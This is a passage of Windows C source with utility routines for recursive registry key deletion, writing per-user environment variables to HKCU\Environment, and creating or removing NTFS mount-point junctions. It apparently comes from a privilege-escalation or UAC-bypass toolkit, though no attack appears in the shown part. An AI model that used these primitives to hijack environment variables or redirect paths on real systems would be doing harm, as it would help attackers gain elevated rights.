lResult = RegDeleteKey(hKeyRoot, lpSubKey);
|
|
if (lResult == ERROR_SUCCESS)
|
|
return TRUE;
|
|
|
|
//
|
|
// Try to open key to check if it exist.
|
|
//
|
|
lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
|
|
if (lResult != ERROR_SUCCESS) {
|
|
if (lResult == ERROR_FILE_NOT_FOUND)
|
|
return TRUE;
|
|
else
|
|
return FALSE;
|
|
}
|
|
|
|
//
|
|
// Add slash to the key path if not present.
|
|
//
|
|
lpEnd = _strend(lpSubKey);
|
|
if (*(lpEnd - 1) != TEXT('\\')) {
|
|
*lpEnd = TEXT('\\');
|
|
lpEnd++;
|
|
*lpEnd = TEXT('\0');
|
|
}
|
|
|
|
//
|
|
// Enumerate subkeys and call this func for each.
|
|
//
|
|
dwSize = MAX_PATH;
|
|
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
|
|
NULL, NULL, &ftWrite);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
|
|
do {
|
|
|
|
_strncpy(lpEnd, MAX_PATH, szName, MAX_PATH);
|
|
|
|
if (!supxDeleteKeyRecursive(hKeyRoot, lpSubKey))
|
|
break;
|
|
|
|
dwSize = MAX_PATH;
|
|
|
|
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
|
|
NULL, NULL, &ftWrite);
|
|
|
|
} while (lResult == ERROR_SUCCESS);
|
|
}
|
|
|
|
lpEnd--;
|
|
*lpEnd = TEXT('\0');
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
//
|
|
// Delete current key, all it subkeys should be already removed.
|
|
//
|
|
lResult = RegDeleteKey(hKeyRoot, lpSubKey);
|
|
if (lResult == ERROR_SUCCESS)
|
|
return TRUE;
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*
|
|
* supDeleteKeyRecursive
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Delete key and all it subkeys/values.
|
|
*
|
|
* Remark:
|
|
*
|
|
* SubKey should not be longer than 260 chars.
|
|
*
|
|
*/
|
|
BOOL supDeleteKeyRecursive(
|
|
_In_ HKEY hKeyRoot,
|
|
_In_ LPWSTR lpSubKey)
|
|
{
|
|
WCHAR szKeyName[MAX_PATH * 2];
|
|
RtlSecureZeroMemory(szKeyName, sizeof(szKeyName));
|
|
_strncpy(szKeyName, MAX_PATH * 2, lpSubKey, MAX_PATH);
|
|
return supxDeleteKeyRecursive(hKeyRoot, szKeyName);
|
|
}
|
|
|
|
/*
|
|
* supSetEnvVariable
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Remove or set current user environment variable.
|
|
*
|
|
*/
|
|
BOOL supSetEnvVariable(
|
|
_In_ BOOL fRemove,
|
|
_In_ LPWSTR lpVariableName,
|
|
_In_opt_ LPWSTR lpVariableData
|
|
)
|
|
{
|
|
BOOL bResult = FALSE, bCond = FALSE;
|
|
HKEY hKey = NULL;
|
|
DWORD cbData;
|
|
|
|
do {
|
|
if (lpVariableName == NULL)
|
|
break;
|
|
|
|
if ((lpVariableData == NULL) && (fRemove == FALSE))
|
|
break;
|
|
|
|
if (RegOpenKey(HKEY_CURRENT_USER, L"Environment", &hKey) != ERROR_SUCCESS)
|
|
break;
|
|
|
|
if (fRemove) {
|
|
RegDeleteValue(hKey, lpVariableName);
|
|
}
|
|
else {
|
|
cbData = (DWORD)((1 + _strlen(lpVariableData)) * sizeof(WCHAR));
|
|
if (RegSetValueEx(hKey, lpVariableName, 0, REG_SZ,
|
|
(BYTE*)lpVariableData, cbData) != ERROR_SUCCESS)
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
bResult = TRUE;
|
|
|
|
} while (bCond);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* supDeleteMountPoint
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Removes reparse point of type mount_point from directory.
|
|
*
|
|
*/
|
|
BOOL supDeleteMountPoint(
|
|
_In_ HANDLE hDirectory
|
|
)
|
|
{
|
|
NTSTATUS status;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
|
|
REPARSE_GUID_DATA_BUFFER Buffer;
|
|
|
|
RtlSecureZeroMemory(&Buffer, sizeof(REPARSE_GUID_DATA_BUFFER));
|
|
Buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
|
|
|
status = NtFsControlFile(hDirectory,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&IoStatusBlock,
|
|
FSCTL_DELETE_REPARSE_POINT,
|
|
&Buffer,
|
|
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE,
|
|
NULL,
|
|
0);
|
|
|
|
if (status == STATUS_NOT_A_REPARSE_POINT) {
|
|
SetLastError(ERROR_INVALID_PARAMETER);
|
|
}
|
|
else {
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
}
|
|
|
|
return NT_SUCCESS(status);
|
|
}
|
|
|
|
/*
|
|
* supSetMountPoint
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Install reparse point of type mount_point to directory.
|
|
*
|
|
*/
|
|
BOOL supSetMountPoint(
|
|
_In_ HANDLE hDirectory,
|
|
_In_ LPWSTR lpTarget,
|
|
_In_ LPWSTR lpPrintName
|
|
)
|
|
{
|
|
ULONG memIO;
|
|
USHORT cbTarget, cbPrintName, reparseDataLength;
|
|
NTSTATUS status;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
|
|
REPARSE_DATA_BUFFER *Buffer;
|
|
|
|
if ((lpTarget == NULL) || (lpPrintName == NULL)) {
|
|
SetLastError(ERROR_INVALID_PARAMETER);
|
|
return FALSE;
|
|
}
|
|
|
|
//
|
|
// Calculate required buffer size.
|
|
// Header + length of input strings + safe space.
|
|
//
|
|
cbTarget = (USHORT)(_strlen(lpTarget) * sizeof(WCHAR));
|
|
cbPrintName = (USHORT)(_strlen(lpPrintName) * sizeof(WCHAR));
|
|
|
|
reparseDataLength = cbTarget + cbPrintName + 12;
|
|
memIO = (ULONG)(reparseDataLength + REPARSE_DATA_BUFFER_HEADER_LENGTH);
|
|
|
|
Buffer = supHeapAlloc((SIZE_T)memIO);
|
|
if (Buffer == NULL)
|
|
return FALSE;
|
|
|
|
//
|
|
// Setup reparse point structure.
|
|
//
|
|
Buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
|
Buffer->ReparseDataLength = reparseDataLength;
|
|
|
|
//
|
|
// Add Target to PathBuffer.
|
|
//
|
|
Buffer->MountPointReparseBuffer.SubstituteNameOffset = 0;
|
|
Buffer->MountPointReparseBuffer.SubstituteNameLength = cbTarget;
|
|
|
|
RtlCopyMemory(Buffer->MountPointReparseBuffer.PathBuffer,
|
|
lpTarget,
|
|
cbTarget);
|
|
|
|
//
|
|
// Add PrintName to PathBuffer.
|
|
//
|
|
Buffer->MountPointReparseBuffer.PrintNameOffset = cbTarget + sizeof(UNICODE_NULL);
|
|
Buffer->MountPointReparseBuffer.PrintNameLength = cbPrintName;
|
|
|
|
RtlCopyMemory(&Buffer->MountPointReparseBuffer.PathBuffer[(cbTarget / sizeof(WCHAR)) + 1],
|
|
lpPrintName,
|
|
cbPrintName);
|
|
|
|
//
|
|
// Set reparse point.
|
|
//
|
|
status = NtFsControlFile(hDirectory,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&IoStatusBlock,
|
|
FSCTL_SET_REPARSE_POINT,
|
|
Buffer,
|
|
memIO,
|
|
NULL,
|
|
0);
|
|
|
|
supHeapFree(Buffer);
|
|
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
return NT_SUCCESS(status);
|
|
}
|